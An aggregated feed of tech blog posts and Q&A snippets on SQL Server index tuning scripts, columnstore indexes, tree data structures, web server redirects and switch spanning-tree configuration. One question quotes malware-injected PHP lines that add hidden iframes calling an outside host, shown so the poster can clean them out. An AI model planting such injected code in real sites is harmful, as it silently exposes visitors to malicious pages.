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• SQL SERVER – 2008 – Unused Index Script – Download

  - by pinaldave

  Download Missing Index Script with Unused Index Script Performance Tuning is quite interesting and Index plays a vital role in it. A proper index can improve the performance and a bad index can hamper the performance. Here is the script from my script bank which I use to identify unused indexes on any database. Please note, if you should not drop all the unused indexes this script suggest. This is just for guidance. You should not create more than 5-10 indexes per table. Additionally, this script sometime does not give accurate information so use your common sense. Any way, the scripts is good starting point. You should pay attention to User Scan, User Lookup and User Update when you are going to drop index. The generic understanding is if this values are all high and User Seek is low, the index needs tuning. The index drop script is also provided in the last column. Download Missing Index Script with Unused Index Script -- Unused Index Script -- Original Author: Pinal Dave (C) 2011 SELECT TOP 25 o.name AS ObjectName , i.name AS IndexName , i.index_id AS IndexID , dm_ius.user_seeks AS UserSeek , dm_ius.user_scans AS UserScans , dm_ius.user_lookups AS UserLookups , dm_ius.user_updates AS UserUpdates , p.TableRows , 'DROP INDEX ' + QUOTENAME(i.name) + ' ON ' + QUOTENAME(s.name) + '.' + QUOTENAME(OBJECT_NAME(dm_ius.OBJECT_ID)) AS 'drop statement' FROM sys.dm_db_index_usage_stats dm_ius INNER JOIN sys.indexes i ON i.index_id = dm_ius.index_id AND dm_ius.OBJECT_ID = i.OBJECT_ID INNER JOIN sys.objects o ON dm_ius.OBJECT_ID = o.OBJECT_ID INNER JOIN sys.schemas s ON o.schema_id = s.schema_id INNER JOIN (SELECT SUM(p.rows) TableRows, p.index_id, p.OBJECT_ID FROM sys.partitions p GROUP BY p.index_id, p.OBJECT_ID) p ON p.index_id = dm_ius.index_id AND dm_ius.OBJECT_ID = p.OBJECT_ID WHERE OBJECTPROPERTY(dm_ius.OBJECT_ID,'IsUserTable') = 1 AND dm_ius.database_id = DB_ID() AND i.type_desc = 'nonclustered' AND i.is_primary_key = 0 AND i.is_unique_constraint = 0 ORDER BY (dm_ius.user_seeks + dm_ius.user_scans + dm_ius.user_lookups) ASC GO Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Download, SQL Index, SQL Performance, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• SQL SERVER – 2008 – Missing Index Script – Download

  - by pinaldave

  Download Missing Index Script with Unused Index Script Performance Tuning is quite interesting and Index plays a vital role in it. A proper index can improve the performance and a bad index can hamper the performance. Here is the script from my script bank which I use to identify missing indexes on any database. Please note, if you should not create all the missing indexes this script suggest. This is just for guidance. You should not create more than 5-10 indexes per table. Additionally, this script sometime does not give accurate information so use your common sense. Any way, the scripts is good starting point. You should pay attention to Avg_Estimated_Impact when you are going to create index. The index creation script is also provided in the last column. Download Missing Index Script with Unused Index Script -- Missing Index Script -- Original Author: Pinal Dave (C) 2011 SELECT TOP 25 dm_mid.database_id AS DatabaseID, dm_migs.avg_user_impact*(dm_migs.user_seeks+dm_migs.user_scans) Avg_Estimated_Impact, dm_migs.last_user_seek AS Last_User_Seek, OBJECT_NAME(dm_mid.OBJECT_ID,dm_mid.database_id) AS [TableName], 'CREATE INDEX [IX_' + OBJECT_NAME(dm_mid.OBJECT_ID,dm_mid.database_id) + '_' + REPLACE(REPLACE(REPLACE(ISNULL(dm_mid.equality_columns,''),', ','_'),'[',''),']','') + CASE WHEN dm_mid.equality_columns IS NOT NULL AND dm_mid.inequality_columns IS NOT NULL THEN '_' ELSE '' END + REPLACE(REPLACE(REPLACE(ISNULL(dm_mid.inequality_columns,''),', ','_'),'[',''),']','') + ']' + ' ON ' + dm_mid.statement + ' (' + ISNULL (dm_mid.equality_columns,'') + CASE WHEN dm_mid.equality_columns IS NOT NULL AND dm_mid.inequality_columns IS NOT NULL THEN ',' ELSE '' END + ISNULL (dm_mid.inequality_columns, '') + ')' + ISNULL (' INCLUDE (' + dm_mid.included_columns + ')', '') AS Create_Statement FROM sys.dm_db_missing_index_groups dm_mig INNER JOIN sys.dm_db_missing_index_group_stats dm_migs ON dm_migs.group_handle = dm_mig.index_group_handle INNER JOIN sys.dm_db_missing_index_details dm_mid ON dm_mig.index_handle = dm_mid.index_handle WHERE dm_mid.database_ID = DB_ID() ORDER BY Avg_Estimated_Impact DESC GO Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Download, SQL Index, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• SQL SERVER – Generate Report for Index Physical Statistics – SSMS

  - by pinaldave

  Few days ago, I wrote about SQL SERVER – Out of the Box – Activity and Performance Reports from SSSMS (Link). A user asked me a question regarding if we can use similar reports to get the detail about Indexes. Yes, it is possible to do the same. There are similar type of reports are available at Database level, just like those available at the Server Instance level. You can right click on Database name and click Reports. Under Standard Reports, you will find following reports. Disk Usage Disk Usage by Top Tables Disk Usage by Table Disk Usage by Partition Backup and Restore Events All Transactions All Blocking Transactions Top Transactions by Age Top Transactions by Blocked Transactions Count Top Transactions by Locks Count Resource Locking Statistics by Objects Object Execute Statistics Database Consistency history Index Usage Statistics Index Physical Statistics Schema Change history User Statistics Select the Reports with name Index Physical Statistics. Once click, a report containing all the index names along with other information related to index will be visible, e.g. Index Type and number of partitions. One column that caught my interest was Operation Recommended. In some place, it suggested that index needs to be rebuilt. It is also possible to click and expand the column of partitions and see additional details about index as well. DBA and Developers who just want to have idea about how your index is and its physical statistics can use this tool. Click to Enlarge Note: Please note that I will rebuild my indexes just because this report is recommending it. There are many other parameters you need to consider before rebuilding indexes. However, this tool gives you the accurate stats of your index and it can be right away exported to Excel or PDF writing by clicking on the report. Reference : Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Index, SQL Optimization, SQL Performance, SQL Query, SQL Server, SQL Server Management Studio, SQL Tips and Tricks, SQL Utility, T SQL, Technology

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• SQL SERVER – ColumnStore Index – Batch Mode vs Row Mode

  - by pinaldave

  What do you do when you are in a hurry and hear someone say things which you do not agree or is wrong? Well, let me tell you what I do or what I recently did. I was walking by and heard someone mentioning “Columnstore Index are really great as they are using Batch Mode which makes them seriously fast.” While I was passing by and I heard this statement my first reaction was I thought Columnstore Index can use both – Batch Mode and Row Mode. I stopped by even though I was in a hurry and asked the person if he meant that Columnstore indexes are seriously fast because they use Batch Mode all the time or Batch Mode is one of the reasons for Columnstore Index to be faster. He responded that Columnstore Indexes can run only in Batch Mode. However, I do not like to confront anybody without hearing their complete story. Honestly, I like to do information sharing and avoid confronting as much as possible. There are always ways to communicate the same positively. Well, this is what I did, I quickly pull up my earlier article on Columnstore Index and copied the script to SQL Server Management Studio. I created two versions of the script. 1) Very Large Table 2) Reasonably Small Table. I a query which uses columnstore index on both of the versions. I found very interesting result of the my tests. I saved my tests and sent it to the person who mentioned about that Columnstore Indexes are using Batch Mode only. He immediately acknowledged that indeed he was incorrect in saying that Columnstore Index uses only Batch Mode. What really caught my attention is that he also thanked me for sending him detail email instead of just having argument where he and I both were standing in the corridor and neither have no way to prove any theory. Here is the screenshots of the both the scenarios. 1) Columnstore Index using Batch Mode 2) Columnstore Index using Row Mode Here is the logic behind when Columnstore Index uses Batch Mode and when it uses Row Mode. A batch typically represents about 1000 rows of data. Batch mode processing also uses algorithms that are optimized for the multicore CPUs and increased memory throughput.  Batch mode processing spreads metadata access costs and overhead over all the rows in a batch.  Batch mode processing operates on compressed data when possible leading superior performance. Here is one last point – Columnstore Index can use Batch Mode or Row Mode but Batch Mode processing is only available in Columnstore Index. I hope this statement truly sums up the whole concept. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: PostADay, SQL, SQL Authority, SQL Index, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• Unit testing to prove balanced tree

  - by Darrel Hoffman

  I've just built a self-balancing tree (red-black) in Java (language should be irrelevant for this question though), and I'm trying to come up with a good means of testing that it's properly balanced. I've tested all the basic tree operations, but I can't think of a way to test that it is indeed well and truly balanced. I've tried inserting a large dictionary of words, both pre-sorted and un-sorted. With a balanced tree, those should take roughly the same amount of time, but an unbalanced tree would take significantly longer on the already-sorted list. But I don't know how to go about testing for that in any reasonable, reproducible way. (I've tried doing millisecond tests on these, but there's no noticeable difference - probably because my source data is too small.) Is there a better way to be sure that the tree is really balanced? Say, by looking at the tree after it's created and seeing how deep it goes? (That is, without modifying the tree itself by adding a depth field to each node, which is just wasteful if you don't need it for anything other than testing.)

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• 301 redirect from "/index.html" to root if index.html not exist

  - by Andrij Muzychka

  Can I create 301 redirect from "index.html" to root directory if file "index.html" not exist? For example: link "http://example.com/index.html" show "404 Error" page. I need 301 redirect to root directory: "http://example.com/" in .htaccess I add rule: Options +FollowSymLinks RewriteCond %{THE_REQUEST} ^.*/index.html RewriteRule ^(.*)index.html$ http://example.com/$1 [R=301,L] but it doesn't work. Can you help me solve this problem?

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• SQL SERVER Size of Index Table for Each Index Solution 2

  Earlier I had ran puzzle where I asked question regarding size of index table for each index in database over here SQL SERVER Size of Index Table A Puzzle to Find Index Size for Each Index on Table. I had received good amount answers and I had blogged about that here SQL SERVER [...]...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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• Webserver directory index: index.xml?

  - by Marius

  Hello there, I am making my first RSS-Feed, and I want to host it like this: www.example.com/rss/ I tried to name the xml-file "index.xml" and place it inside the directory, however, when I type http://www.example.com/rss/ i arrive at "Index of /rss" where the file is listed as being part of the directory, but it is not loaded automatically. What can be done about this? Thank you for your time. Kind regards, Marius

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• Max Value of a Multiway Tree in OCaml

  - by Trigork

  I'm an IT Student and kind of a newbie to OCaml Recently, studying for an exam I found this exercise. Given: type 'a tree = Tree of 'a * 'a tree list Define a function mtree : 'a tree -'a, that returns the greatest value of all the nodes in a multiway tree, following the usual order relation in OCaml (<=) I've come to do something like this below, which, of course, is not working. let rec mtree (Tree (r, sub)) = let max_node (Tree(a, l1)) (Tree(b, l2)) = if a >= b then (Tree(a, l1)) else (Tree(b, l2)) in List.fold_left max_node r sub;; After reading an answer to this I'm posting the fixed code. let rec mtree (Tree(r,sub)) = let max_node (Tree(a, l1)) (Tree(b, l2)) = if a >= b then a else b in List.fold_left (max_node) r (List.map mtree sub);; The idea is the same, fold the list comparing the nodes making use of my local function to do so and travel through the tree by calling the function itself over the nodes lists of the consecutive levels. Is still not working, though. Now complains about max_node in the fold_left part. Error: This expression has type 'a tree -> 'a tree -> 'a but an expression was expected of type 'a tree -> 'a tree -> 'a tree And here I'm definitely lost because I can't see why does it expects to return an 'a tree

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• HP to Cisco spanning tree root flapping

  - by Tim Brigham

  Per a recent question I recently configured both my HP (2x 2900) and Cisco (1x 3750) hardware to use MSTP for interoperability. I thought this was functional until I applied the change to the third device (HP switch 1 below) at which time the spanning tree root started flapping causing performance issues (5% packet loss) between my two HP switches. I'm not sure why. HP Switch 1 A4 connected to Cisco 1/0/1. HP Switch 2 B2 connected to Cisco 2/0/1. HP Switch 1 A2 connected to HP Switch 2 A1. I'd prefer the Cisco stack to act as the root. EDIT: There is one specific line - 'spanning-tree 1 path-cost 500000' in the HP switch 2 that I didn't add and was preexisting. I'm not sure if it could have the kind of impact that I'm describing. I'm more a security and monitoring guy then networking. EDIT 2: I'm starting to believe the problem lies in the fact that the value for my MST 0 instance on the Cisco is still at the default 32768. I worked up a diagram: This is based on every show command I could find for STP. I'll make this change after hours and see if it helps. Cisco 3750 Config: version 12.2 spanning-tree mode mst spanning-tree extend system-id spanning-tree mst configuration name mstp revision 1 instance 1 vlan 1, 40, 70, 100, 250 spanning-tree mst 1 priority 0 vlan internal allocation policy ascending interface TenGigabitEthernet1/1/1 switchport trunk encapsulation dot1q switchport mode trunk ! interface TenGigabitEthernet2/1/1 switchport trunk encapsulation dot1q switchport mode trunk ! interface Vlan1 no ip address ! interface Vlan100 ip address 192.168.100.253 255.255.255.0 ! Cisco 3750 show spanning tree: show spanning-tree MST0 Spanning tree enabled protocol mstp Root ID Priority 32768 Address 0004.ea84.5f80 Cost 200000 Port 53 (TenGigabitEthernet1/1/1) Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 32768 (priority 32768 sys-id-ext 0) Address a44c.11a6.7c80 Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- -------------------------------- Te1/1/1 Root FWD 2000 128.53 P2p MST1 Spanning tree enabled protocol mstp Root ID Priority 1 Address a44c.11a6.7c80 This bridge is the root Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 1 (priority 0 sys-id-ext 1) Address a44c.11a6.7c80 Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- -------------------------------- Te1/1/1 Desg FWD 2000 128.53 P2p Cisco 3750 show logging: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to down %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan100, changed state to down %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to up %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan100, changed state to up %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to down %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to up HP Switch 1: ; J9049A Configuration Editor; Created on release #T.13.71 vlan 1 name "DEFAULT_VLAN" untagged 1-8,10,13-16,18-23,A1-A4 ip address 100.100.100.17 255.255.255.0 no untagged 9,11-12,17,24 exit vlan 100 name "192.168.100" untagged 9,11-12,17,24 tagged 1-8,10,13-16,18-23,A1-A4 no ip address exit vlan 21 name "Users_2" tagged 1,A1-A4 no ip address exit vlan 40 name "Cafe" tagged 1,4,7,A1-A4 no ip address exit vlan 250 name "Firewall" tagged 1,4,7,A1-A4 no ip address exit vlan 70 name "DMZ" tagged 1,4,7-8,13,A1-A4 no ip address exit spanning-tree spanning-tree config-name "mstp" spanning-tree config-revision 1 spanning-tree instance 1 vlan 1 40 70 100 250 password manager password operator HP Switch 1 show spanning tree: show spanning-tree Multiple Spanning Tree (MST) Information STP Enabled : Yes Force Version : MSTP-operation IST Mapped VLANs : 2-39,41-69,71-99,101-249,251-4094 Switch MAC Address : 0021f7-126580 Switch Priority : 32768 Max Age : 20 Max Hops : 20 Forward Delay : 15 Topology Change Count : 363,490 Time Since Last Change : 14 hours CST Root MAC Address : 0004ea-845f80 CST Root Priority : 32768 CST Root Path Cost : 200000 CST Root Port : 1 IST Regional Root MAC Address : 0021f7-126580 IST Regional Root Priority : 32768 IST Regional Root Path Cost : 0 IST Remaining Hops : 20 Root Guard Ports : TCN Guard Ports : BPDU Protected Ports : BPDU Filtered Ports : PVST Protected Ports : PVST Filtered Ports : | Prio | Designated Hello Port Type | Cost rity State | Bridge Time PtP Edge ----- --------- + --------- ---- ---------- + ------------- ---- --- ---- A1 | Auto 128 Disabled | A2 10GbE-CX4 | 2000 128 Forwarding | 0021f7-126580 2 Yes No A3 10GbE-CX4 | Auto 128 Disabled | A4 10GbE-SR | Auto 128 Disabled | HP Switch 1 Logging: I removed the date / time fields since they are inaccurate (no NTP configured on these switches) 00839 stp: MSTI 1 Root changed from 0:a44c11-a67c80 to 32768:0021f7-126580 00839 stp: MSTI 1 Root changed from 32768:0021f7-126580 to 0:a44c11-a67c80 00842 stp: MSTI 1 starved for an MSTI Msg Rx on port A4 from 0:a44c11-a67c80 00839 stp: MSTI 1 Root changed from 0:a44c11-a67c80 to 32768:0021f7-126580 00839 stp: MSTI 1 Root changed from 32768:0021f7-126580 to 0:a44c11-a67c80 00839 stp: MSTI 1 Root changed from 0:a44c11-a67c80 to ... HP Switch 2 Configuration: ; J9146A Configuration Editor; Created on release #W.14.49 vlan 1 name "DEFAULT_VLAN" untagged 1,3-17,21-24,A1-A2,B2 ip address 100.100.100.36 255.255.255.0 no untagged 2,18-20,B1 exit vlan 100 name "192.168.100" untagged 2,18-20 tagged 1,3-17,21-24,A1-A2,B1-B2 no ip address exit vlan 21 name "Users_2" tagged 1,A1-A2,B2 no ip address exit vlan 40 name "Cafe" tagged 1,13-14,16,A1-A2,B2 no ip address exit vlan 250 name "Firewall" tagged 1,13-14,16,A1-A2,B2 no ip address exit vlan 70 name "DMZ" tagged 1,13-14,16,A1-A2,B2 no ip address exit logging 192.168.100.18 spanning-tree spanning-tree 1 path-cost 500000 spanning-tree config-name "mstp" spanning-tree config-revision 1 spanning-tree instance 1 vlan 1 40 70 100 250 HP Switch 2 Spanning Tree: show spanning-tree Multiple Spanning Tree (MST) Information STP Enabled : Yes Force Version : MSTP-operation IST Mapped VLANs : 2-39,41-69,71-99,101-249,251-4094 Switch MAC Address : 0024a8-cd6000 Switch Priority : 32768 Max Age : 20 Max Hops : 20 Forward Delay : 15 Topology Change Count : 21,793 Time Since Last Change : 14 hours CST Root MAC Address : 0004ea-845f80 CST Root Priority : 32768 CST Root Path Cost : 200000 CST Root Port : A1 IST Regional Root MAC Address : 0021f7-126580 IST Regional Root Priority : 32768 IST Regional Root Path Cost : 2000 IST Remaining Hops : 19 Root Guard Ports : TCN Guard Ports : BPDU Protected Ports : BPDU Filtered Ports : PVST Protected Ports : PVST Filtered Ports : | Prio | Designated Hello Port Type | Cost rity State | Bridge Time PtP Edge ----- --------- + --------- ---- ---------- + ------------- ---- --- ---- A1 10GbE-CX4 | 2000 128 Forwarding | 0021f7-126580 2 Yes No A2 10GbE-CX4 | Auto 128 Disabled | B1 SFP+SR | 2000 128 Forwarding | 0024a8-cd6000 2 Yes No B2 | Auto 128 Disabled | HP Switch 2 Logging: I removed the date / time fields since they are inaccurate (no NTP configured on these switches) 00839 stp: CST Root changed from 32768:0021f7-126580 to 32768:0004ea-845f80 00839 stp: IST Root changed from 32768:0021f7-126580 to 32768:0024a8-cd6000 00839 stp: CST Root changed from 32768:0004ea-845f80 to 32768:0024a8-cd6000 00839 stp: CST Root changed from 32768:0024a8-cd6000 to 32768:0004ea-845f80 00839 stp: CST Root changed from 32768:0004ea-845f80 to 32768:0024a8-cd6000 00435 ports: port B1 is Blocked by STP 00839 stp: CST Root changed from 32768:0024a8-cd6000 to 32768:0021f7-126580 00839 stp: IST Root changed from 32768:0024a8-cd6000 to 32768:0021f7-126580 00839 stp: CST Root changed from 32768:0021f7-126580 to 32768:0004ea-845f80

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• drawing hierarchical tree with orthogonal lines ( HV-Drawing – Binary Tree)

  - by user267530

  Hi I need to work on drawing a hierarchical tree structure (HV-Drawing – Binary Tree) with orthogonal lines(straight rectangular connecting lines) between root and children ( like the following: http://lab.kapit.fr/display/visualizationlayouts/Hierarchical+Tree+layout ). I want to know if there are any open source examples of the algorithm of drawing trees like that so that I can implement the same algorithm in actionscript. Thanks Palash

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• Interval tree algorithm that supports merging of intervals with no overlap

  - by Dave Griffiths

  I'm looking for an interval tree algorithm similar to the red-black interval tree in CLR but that supports merging of intervals by default so that there are never any overlapping intervals. In other words if you had a tree containing two intervals [2,3] and [5,6] and you added the interval [4,4], the result would be a tree containing just one interval [2,6]. Thanks Update: the use case I'm considering is calculating transitive closure. Interval sets are used to store the successor sets because they have been found to be quite compact. But if you represent interval sets just as a linked list I have found that in some situations they can become quite large and hence so does the time required to find the insertion point. Hence my interest in interval trees. Also there may be quite a lot of merging one tree with another (i.e. a set OR operation) - if both trees are large then it may be better to create a new tree using inorder walks of both trees rather than repeated insertions of each interval.

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• Are there any B-tree programs or sites that show visually how a B-tree works

  - by Phenom

  I found this website that lets you insert and delete items from a B-tree and shows you visually what the B-tree looks like: java b-tree I'm looking for another website or program similar to this. This site does not allow you to specify a B-tree of order 4 (4 pointers and 3 elements), it only lets you specify B-trees with an even number of elements. Also, if possible, I'd like to be able to insert letters instead of numbers. I think I actually found a different site but that was a while ago and can't find it anymore.

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• Nicely printing/showing a binary tree in Haskell

  - by nicole

  I have a tree data type: data Tree a b = Branch b (Tree a b) (Tree a b) | Leaf a ...and I need to make it an instance of Show, without using deriving. I have found that nicely displaying a little branch with two leaves is easy: instance (Show a, Show b) => Show (Tree a b) where show (Leaf x) = show x show (Branch val l r) = " " ++ show val ++ "\n" ++ show l ++ " " ++ show r But how can I extend a nice structure to a tree of arbitrary size? It seems like determining the spacing would require me to know just how many leaves will be at the very bottom (or maybe just how many leaves there are in total) so that I can allocate all the space I need there and just work 'up.' I would probably need to call a size function. I can see this being workable, but is that making it harder than it is?

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• Search for index.php and index.html and replace string

  - by Jonas

  Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; So the parameter after "click=" always changes. These two were only examples. Is there a way to do that quick and fast? . . EDIT: It is on my webserver, so no use of find...

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• SQL SERVER Understanding ALTER INDEX ALL REBUILD with Disabled Clustered Index

  This blog is in response to the ongoing communication with the reader who had earlier asked the question of SQL SERVER Disable Clustered Index and Data Insert. The same reader has asked me the difference between ALTER INDEX ALL REBUILD and ALTER INDEX REBUILD along with disabled clustered index. Instead of writing a big [...]...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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• SQL SERVER – Video – Performance Improvement in Columnstore Index

  - by pinaldave

  I earlier wrote an article about SQL SERVER – Fundamentals of Columnstore Index and it got very well accepted in community. However, one of the suggestion I keep on receiving for that article is that many of the reader wanted to see columnstore index in the action but they were not able to do that. Some of the readers did not install SQL Server 2012 or some did not have good machine to recreate the big table involved in the demo. For the same reason, I have created small video for that. I have written two more article on columstore index. Please read them as followup to the video: SQL SERVER – How to Ignore Columnstore Index Usage in Query SQL SERVER – Updating Data in A Columnstore Index Reference: Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, PostADay, SQL, SQL Authority, SQL Index, SQL Performance, SQL Query, SQL Scripts, SQL Server, SQL Tips and Tricks, T SQL, Technology, Video

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• Why we do not use PowerConnect to access PeopleSoft Tree

  - by dylan.wan

  1. It does not allow you to use parameters to the PeopleSoft connect. It may be changed later. However, it was a big issue when we try to address customer issues. 2. It requires EFFDT as an option. It expect that people change the EFFDT using Mapping Editor. How can a business user does that every month? 3. It asks for a Tree Name. Many PeopleSoft tree structure supports multiple trees. Tree is just a header of the hierarchy. Whenever you add a new Tree, you need to create a new mapping!! It does not make sense to use PowerConnect due to the customer demands. All requirements are from customers. We have no choice but stop using it.

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• Generated 3d tree meshes

  - by Jari Komppa

  I did not find a question on these lines yet, correct me if I'm wrong. Trees (and fauna in general) are common in games. Due to their nature, they are a good candidate for procedural generation. There's SpeedTree, of course, if you can afford it; as far as I can tell, it doesn't provide the possibility of generating your tree meshes at runtime. Then there's SnappyTree, an online webgl based tree generator based on the proctree.js which is some ~500 lines of javascript. One could use either of above (or some other tree generator I haven't stumbled upon) to create a few dozen tree meshes beforehand - or model them from scratch in a 3d modeller - and then randomly mirror/scale them for a few more variants.. But I'd rather have a free, linkable tree mesh generator. Possible solutions: Port proctree.js to c++ and deal with the open source license (doesn't seem to be gpl, so could be doable; the author may also be willing to co-operate to make the license even more free). Roll my own based on L-systems. Don't bother, just use offline generated trees. Use some other method I haven't found yet.

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• Behavior tree implementation details

  - by angryInsomniac

  I have been looking around for implementation details of behavior trees, the best descriptions I found were by Alex Champarand and some of Damian Isla's talk about AI in Halo 2 (the video of which is locked up in the GDC vault sadly). However, both descriptions fall short of helping one actually create a BT, one particular question has been bugging me for a while. When is the tree in a behavior tree evaluated? Furthermore: If the tree is in the middle of executing a sequence of actions (patrolling waypoints) and a higher priority impulse comes in (distraction sound) , how to switch to that side of the tree seamlessly without resorting to a state machine like system and if it is decided that the impulse was irrelevant (the distraction is too far away to affect this guard), how to go back to the last thing that the guard was doing ? I have quite a few questions like this and I don't wish to flood the board with separate queries so if you know of any resource where questions like these can be answered I would be very grateful.

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• How-to delete a tree node using the context menu

  - by frank.nimphius

  Hierarchical trees in Oracle ADF make use of View Accessors, which means that only the top level node needs to be exposed as a View Object instance on the ADF Business Components Data Model. This also means that only the top level node has a representation in the PageDef file as a tree binding and iterator binding reference. Detail nodes are accessed through tree rule definitions that use the accessor mentioned above (or nested collections in the case of POJO or EJB business services). The tree component is configured for single node selection, which however can be declaratively changed for users to press the ctrl key and selecting multiple nodes. In the following, I explain how to create a context menu on the tree for users to delete the selected tree nodes. For this, the context menu item will access a managed bean, which then determines the selected node(s), the internal ADF node bindings and the rows they represent. As mentioned, the ADF Business Components Data Model only needs to expose the top level node data sources, which in this example is an instance of the Locations View Object. For the tree to work, you need to have associations defined between entities, which usually is done for you by Oracle JDeveloper if the database tables have foreign keys defined Note: As a general hint of best practices and to simplify your life: Make sure your database schema is well defined and designed before starting your development project. Don't treat the database as something organic that grows and changes with the requirements as you proceed in your project. Business service refactoring in response to database changes is possible, but should be treated as an exception, not the rule. Good database design is a necessity – even for application developers – and nothing evil. To create the tree component, expand the Data Controls panel and drag the View Object collection to the view. From the context menu, select the tree component entry and continue with defining the tree rules that make up the hierarchical structure. As you see, when pressing the green plus icon  in the Edit Tree Binding  dialog, the data structure, Locations -  Departments – Employees in my sample, shows without you having created a View Object instance for each of the nodes in the ADF Business Components Data Model. After you configured the tree structure in the Edit Tree Binding dialog, you press OK and the tree is created. Select the tree in the page editor and open the Structure Window (ctrl+shift+S). In the Structure window, expand the tree node to access the conextMenu facet. Use the right mouse button to insert a Popup  into the facet. Repeat the same steps to insert a Menu and a Menu Item into the Popup you created. The Menu item text should be changed to something meaningful like "Delete". Note that the custom menu item later is added to the context menu together with the default context menu options like expand and expand all. To define the action that is executed when the menu item is clicked on, you select the Action Listener property in the Property Inspector and click the arrow icon followed by the Edit menu option. Create or select a managed bean and define a method name for the action handler. Next, select the tree component and browse to its binding property in the Property Inspector. Again, use the arrow icon | Edit option to create a component binding in the same managed bean that has the action listener defined. The tree handle is used in the action listener code, which is shown below: public void onTreeNodeDelete(ActionEvent actionEvent) {   //access the tree from the JSF component reference created   //using the af:tree "binding" property. The "binding" property   //creates a pair of set/get methods to access the RichTree instance   RichTree tree = this.getTreeHandler();   //get the list of selected row keys   RowKeySet rks = tree.getSelectedRowKeys();   //access the iterator to loop over selected nodes   Iterator rksIterator = rks.iterator();          //The CollectionModel represents the tree model and is   //accessed from the tree "value" property   CollectionModel model = (CollectionModel) tree.getValue();   //The CollectionModel is a wrapper for the ADF tree binding   //class, which is JUCtrlHierBinding   JUCtrlHierBinding treeBinding =                  (JUCtrlHierBinding) model.getWrappedData();          //loop over the selected nodes and delete the rows they   //represent   while(rksIterator.hasNext()){     List nodeKey = (List) rksIterator.next();     //find the ADF node binding using the node key     JUCtrlHierNodeBinding node =                       treeBinding.findNodeByKeyPath(nodeKey);     //delete the row.     Row rw = node.getRow();       rw.remove();   }          //only refresh the tree if tree nodes have been selected   if(rks.size() > 0){     AdfFacesContext adfFacesContext =                          AdfFacesContext.getCurrentInstance();     adfFacesContext.addPartialTarget(tree);   } } Note: To enable multi node selection for a tree, select the tree and change the row selection setting from "single" to "multiple". Note: a fully pictured version of this post will become available at the end of the month in a PDF summary on ADF Code Corner : http://www.oracle.com/technetwork/developer-tools/adf/learnmore/index-101235.html 

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• Should I specify both INDEX and UNIQUE INDEX?

  - by Matt Huggins

  On one of my PostgreSQL tables, I have a set of two fields that will be defined as being unique in the table, but will also both be used together when selecting data. Given this, do I only need to define a UNIQUE INDEX, or should I specify an INDEX in addition to the UNIQUE INDEX? This? CREATE UNIQUE INDEX mytable_col1_col2_idx ON mytable (col1, col2); Or this? CREATE UNIQUE INDEX mytable_col1_col2_uidx ON mytable (col1, col2); CREATE INDEX mytable_col1_col2_idx ON mytable (col1, col2);

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• Event Driven Behavior Tree: deterministic traversal order with parallel

  - by Heisenbug

  I've studied several articles and listen some talks about behavior trees (mostly the resources available on AIGameDev by Alex J. Champandard). I'm particularly interested on event driven behavior trees, but I have still some doubts on how to implement them correctly using a scheduler. Just a quick recap: Standard Behavior Tree Each execution tick the tree is traversed from the root in depth-first order The execution order is implicitly expressed by the tree structure. So in the case of behaviors parented to a parallel node, even if both children are executed during the same traversing, the first leaf is always evaluated first. Event Driven BT During the first traversal the nodes (tasks) are enqueued using a scheduler which is responsible for updating only running ones every update The first traversal implicitly produce a depth-first ordered queue in the scheduler Non leaf nodes stays suspended mostly of the time. When a leaf node terminate(either with success or fail status) the parent (observer) is waked up allowing the tree traversing to continue and new tasks will be enqueued in the scheduler Without parallel nodes in the tree there will be up to 1 task running in the scheduler Without parallel nodes, the tasks in the queue(excluding dynamic priority implementation) will be always ordered in a depth-first order (is this right?) Now, from what is my understanding of a possible implementation, there are 2 requirements I think must be respected(I'm not sure though): Now, some requirements I think needs to be guaranteed by a correct implementation are: The result of the traversing should be independent from which implementation strategy is used. The traversing result must be deterministic. I'm struggling trying to guarantee both in the case of parallel nodes. Here's an example: Parallel_1 -->Sequence_1 ---->leaf_A ---->leaf_B -->leaf_C Considering a FIFO policy of the scheduler, before leaf_A node terminates the tasks in the scheduler are: P1(suspended),S1(suspended),leaf_A(running),leaf_C(running) When leaf_A terminate leaf_B will be scheduled (at the end of the queue), so the queue will become: P1(suspended),S1(suspended),leaf_C(running),leaf_B(running) In this case leaf_B will be executed after leaf_C at every update, meanwhile with a non event-driven traversing from the root node, the leaf_B will always be evaluated before leaf_A. So I have a couple of question: do I have understand correctly how event driven BT work? How can I guarantee the depth first order is respected with such an implementation? is this a common issue or am I missing something?

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• What is the kd tree intersection logic?

  - by bobobobo

